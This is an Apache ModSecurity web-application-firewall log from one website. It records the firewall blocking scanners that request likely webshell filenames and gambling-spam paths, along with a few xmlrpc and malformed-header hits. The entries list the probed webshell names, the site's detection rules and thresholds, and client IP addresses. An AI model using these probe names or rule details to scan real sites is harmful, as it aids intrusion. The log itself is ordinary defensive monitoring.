[Mon Apr 13 21:57:38.308310 2026] [:error] [pid 63309:tid 63318] [client 74.248.132.51:7439] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zoper1.php"] [unique_id "adz2UkpIKZ10weXpf0U3WQAAAAU"]
[Mon Apr 13 21:57:39.271189 2026] [:error] [pid 63406:tid 63414] [client 74.248.132.51:7213] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ortasekerli1.php"] [unique_id "adz2U7HZEIkQ0Zmgp5ri7AAAAMM"]
[Mon Apr 13 21:57:40.124551 2026] [:error] [pid 57183:tid 57199] [client 74.248.132.51:54351] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ortasekerli1.php"] [unique_id "adz2VDDO3t8R5NaxzYRncgAAAU4"]
[Mon Apr 13 21:57:41.027462 2026] [:error] [pid 7228:tid 7246] [client 74.248.132.51:54365] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ortasekerli1.php"] [unique_id "adz2VQEnn1dQrOSHHNWv4QAAARA"]
[Mon Apr 13 21:57:41.906148 2026] [:error] [pid 63406:tid 63421] [client 74.248.132.51:61527] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ortasekerli1.php"] [unique_id "adz2VbHZEIkQ0Zmgp5ri-AAAAMo"]
[Mon Apr 13 21:57:42.694359 2026] [:error] [pid 63310:tid 63359] [client 74.248.132.51:7203] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-good.php"] [unique_id "adz2VnoXpRU5ztmwPjJreAAAAE8"]
[Mon Apr 13 21:57:43.302792 2026] [:error] [pid 63309:tid 63337] [client 74.248.132.51:7441] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-good.php"] [unique_id "adz2V0pIKZ10weXpf0U3WgAAABg"]
[Mon Apr 13 21:57:44.068992 2026] [:error] [pid 63309:tid 63330] [client 74.248.132.51:7365] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-good.php"] [unique_id "adz2WEpIKZ10weXpf0U3WwAAABE"]
[Mon Apr 13 21:57:45.233839 2026] [:error] [pid 9314:tid 9323] [client 74.248.132.51:55470] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-good.php"] [unique_id "adz2WW_r4W8fX2GWyGQ8dwAAAYc"]
[Mon Apr 13 21:57:46.104394 2026] [:error] [pid 63406:tid 63421] [client 74.248.132.51:61459] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wmore1.php"] [unique_id "adz2WrHZEIkQ0Zmgp5rjAgAAAMo"]
[Mon Apr 13 21:57:46.999284 2026] [:error] [pid 63309:tid 63326] [client 74.248.132.51:55108] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wmore1.php"] [unique_id "adz2WkpIKZ10weXpf0U3XwAAAA0"]
[Mon Apr 13 21:57:48.088801 2026] [:error] [pid 63310:tid 63353] [client 74.248.132.51:61471] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wmore1.php"] [unique_id "adz2XHoXpRU5ztmwPjJrggAAAEk"]
[Mon Apr 13 21:57:49.258442 2026] [:error] [pid 63309:tid 63319] [client 74.248.132.51:51766] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wmore1.php"] [unique_id "adz2XUpIKZ10weXpf0U3YwAAAAY"]
[Mon Apr 13 21:57:51.348337 2026] [:error] [pid 63406:tid 63415] [client 74.248.132.51:61475] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/new3.php"] [unique_id "adz2X7HZEIkQ0Zmgp5rjDAAAAMQ"]
[Mon Apr 13 21:57:53.367812 2026] [:error] [pid 63406:tid 63433] [client 74.248.132.51:61559] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/new3.php"] [unique_id "adz2YbHZEIkQ0Zmgp5rjEgAAANY"]
[Mon Apr 13 21:57:55.185572 2026] [:error] [pid 7228:tid 7235] [client 74.248.132.51:61524] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/new3.php"] [unique_id "adz2YwEnn1dQrOSHHNWv8wAAAQU"]
[Mon Apr 13 21:57:56.098797 2026] [:error] [pid 7228:tid 7244] [client 74.248.132.51:55468] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/new3.php"] [unique_id "adz2ZAEnn1dQrOSHHNWv9wAAAQ4"]
[Mon Apr 13 21:57:56.712067 2026] [:error] [pid 9314:tid 9327] [client 74.248.132.51:61563] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nw.php"] [unique_id "adz2ZG_r4W8fX2GWyGQ8rAAAAYs"]
[Mon Apr 13 21:57:57.557577 2026] [:error] [pid 9314:tid 9318] [client 74.248.132.51:61543] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nw.php"] [unique_id "adz2ZW_r4W8fX2GWyGQ8sgAAAYI"]
[Mon Apr 13 21:57:58.442638 2026] [:error] [pid 9314:tid 9332] [client 74.248.132.51:7992] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nw.php"] [unique_id "adz2Zm_r4W8fX2GWyGQ8uwAAAZA"]
[Mon Apr 13 21:57:59.559784 2026] [:error] [pid 7228:tid 7254] [client 74.248.132.51:57152] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nw.php"] [unique_id "adz2ZwEnn1dQrOSHHNWwAQAAARg"]
[Mon Apr 13 21:58:00.255471 2026] [:error] [pid 7228:tid 7243] [client 74.248.132.51:7229] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byypas.php"] [unique_id "adz2aAEnn1dQrOSHHNWwBgAAAQ0"]
[Mon Apr 13 21:58:01.198833 2026] [:error] [pid 9314:tid 9326] [client 74.248.132.51:55438] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byypas.php"] [unique_id "adz2aW_r4W8fX2GWyGQ8zAAAAYo"]
[Mon Apr 13 21:58:02.703766 2026] [:error] [pid 63311:tid 63377] [client 74.248.132.51:7230] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byypas.php"] [unique_id "adz2aqHjrGN1MqBCVFkXlgAAAIY"]
[Mon Apr 13 21:58:03.792785 2026] [:error] [pid 63311:tid 63375] [client 74.248.132.51:57158] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byypas.php"] [unique_id "adz2a6HjrGN1MqBCVFkXmwAAAIQ"]
[Mon Apr 13 21:58:04.783347 2026] [:error] [pid 9314:tid 9320] [client 74.248.132.51:55481] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rithin.php"] [unique_id "adz2bG_r4W8fX2GWyGQ84AAAAYQ"]
[Mon Apr 13 21:58:06.345812 2026] [:error] [pid 7228:tid 7235] [client 74.248.132.51:7433] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rithin.php"] [unique_id "adz2bgEnn1dQrOSHHNWwDAAAAQU"]
[Mon Apr 13 21:58:07.561095 2026] [:error] [pid 63311:tid 63376] [client 74.248.132.51:57197] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rithin.php"] [unique_id "adz2b6HjrGN1MqBCVFkXqgAAAIU"]
[Mon Apr 13 21:58:10.416736 2026] [:error] [pid 63310:tid 63349] [client 74.248.132.51:61508] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rithin.php"] [unique_id "adz2cnoXpRU5ztmwPjJrmgAAAEU"]
[Mon Apr 13 21:58:11.903218 2026] [:error] [pid 63310:tid 63365] [client 74.248.132.51:55472] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a4.php"] [unique_id "adz2c3oXpRU5ztmwPjJrnAAAAFU"]
[Mon Apr 13 21:58:13.568862 2026] [:error] [pid 57183:tid 57203] [client 74.248.132.51:55483] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a4.php"] [unique_id "adz2dTDO3t8R5NaxzYRniAAAAVI"]
[Mon Apr 13 21:58:14.636013 2026] [:error] [pid 57183:tid 57192] [client 74.248.132.51:55482] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a4.php"] [unique_id "adz2djDO3t8R5NaxzYRnjAAAAUc"]
[Mon Apr 13 21:58:15.628885 2026] [:error] [pid 63309:tid 63317] [client 74.248.132.51:61505] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a4.php"] [unique_id "adz2d0pIKZ10weXpf0U3cgAAAAQ"]
[Mon Apr 13 21:58:17.104974 2026] [:error] [pid 9314:tid 9316] [client 74.248.132.51:7469] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jlex.php"] [unique_id "adz2eW_r4W8fX2GWyGQ88QAAAYA"]
[Mon Apr 13 21:58:17.807935 2026] [:error] [pid 63406:tid 63416] [client 74.248.132.51:61455] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jlex.php"] [unique_id "adz2ebHZEIkQ0Zmgp5rjfAAAAMU"]
[Mon Apr 13 21:58:18.343340 2026] [:error] [pid 63406:tid 63426] [client 74.248.132.51:51772] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jlex.php"] [unique_id "adz2erHZEIkQ0Zmgp5rjgAAAAM8"]
[Mon Apr 13 21:58:19.226143 2026] [:error] [pid 63406:tid 63435] [client 74.248.132.51:54336] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jlex.php"] [unique_id "adz2e7HZEIkQ0Zmgp5rjiQAAANg"]
[Mon Apr 13 21:58:21.771836 2026] [:error] [pid 63406:tid 63413] [client 74.248.132.51:61495] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xsas.php"] [unique_id "adz2fbHZEIkQ0Zmgp5rjlgAAAMI"]
[Mon Apr 13 23:32:26.134182 2026] [:error] [pid 9314:tid 9337] [client 103.178.208.43:54735] [client 103.178.208.43] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.178.208.43, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "ad0Mim_r4W8fX2GWyGRkIgAAAZU"]
[Tue Apr 14 00:09:16.074839 2026] [:error] [pid 63406:tid 63424] [client 43.138.68.113:42772] [client 43.138.68.113] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "ad0VLLHZEIkQ0Zmgp5pGUgAAAM0"]
[Tue Apr 14 01:44:52.003436 2026] [:error] [pid 59913:tid 59918] [client 43.153.204.189:57568] [client 43.153.204.189] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "ad0rlK5XvQ9C-gZtr2ysFQAAAAE"]
[Tue Apr 14 02:25:02.542539 2026] [:error] [pid 60317:tid 60358] [client 79.137.65.139:34934] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dg%20casino.aspx"] [unique_id "ad00_rBo7Bc8I7P_P--0eAAAANI"]
[Tue Apr 14 02:25:10.052135 2026] [:error] [pid 59915:tid 59981] [client 79.137.65.139:39396] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "ad01BoeTNdEemByf99hRawAAAIo"]
[Tue Apr 14 02:25:17.097825 2026] [:error] [pid 59915:tid 59995] [client 79.137.65.139:39398] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "ad01DYeTNdEemByf99hRdAAAAJg"]
[Tue Apr 14 02:25:22.409663 2026] [:error] [pid 60317:tid 60354] [client 79.137.65.139:46528] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "ad01ErBo7Bc8I7P_P--0mgAAAM4"]
[Tue Apr 14 02:25:27.313455 2026] [:error] [pid 59914:tid 59949] [client 79.137.65.139:59012] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "ad01F-q0YMmB3OWbbUld4wAAAEU"]
[Tue Apr 14 02:25:35.292781 2026] [:error] [pid 59915:tid 59983] [client 79.137.65.139:59016] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h25%20com.aspx"] [unique_id "ad01H4eTNdEemByf99hRjgAAAIw"]
[Tue Apr 14 02:25:42.052711 2026] [:error] [pid 60317:tid 60345] [client 79.137.65.139:36496] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jili%20slot.aspx"] [unique_id "ad01JrBo7Bc8I7P_P--03AAAAMU"]
[Tue Apr 14 02:25:46.646516 2026] [:error] [pid 60317:tid 60346] [client 79.137.65.139:36510] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20slot.aspx"] [unique_id "ad01KrBo7Bc8I7P_P--05gAAAMY"]
[Tue Apr 14 02:25:50.732715 2026] [:error] [pid 59914:tid 59962] [client 79.137.65.139:41466] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20vip.aspx"] [unique_id "ad01Luq0YMmB3OWbbUld_QAAAFI"]
[Tue Apr 14 02:26:47.179702 2026] [:error] [pid 59915:tid 59991] [client 79.137.65.139:38206] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20plus.aspx"] [unique_id "ad01Z4eTNdEemByf99hSDAAAAJQ"]
[Tue Apr 14 02:26:51.490471 2026] [:error] [pid 59913:tid 59928] [client 79.137.65.139:33494] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "ad01a65XvQ9C-gZtr2y47wAAAAs"]
[Tue Apr 14 02:26:54.540334 2026] [:error] [pid 60317:tid 60361] [client 79.137.65.139:33496] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "ad01brBo7Bc8I7P_P--1fAAAANU"]
[Tue Apr 14 02:26:57.939536 2026] [:error] [pid 60317:tid 60345] [client 79.137.65.139:40020] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "ad01cbBo7Bc8I7P_P--1hQAAAMU"]
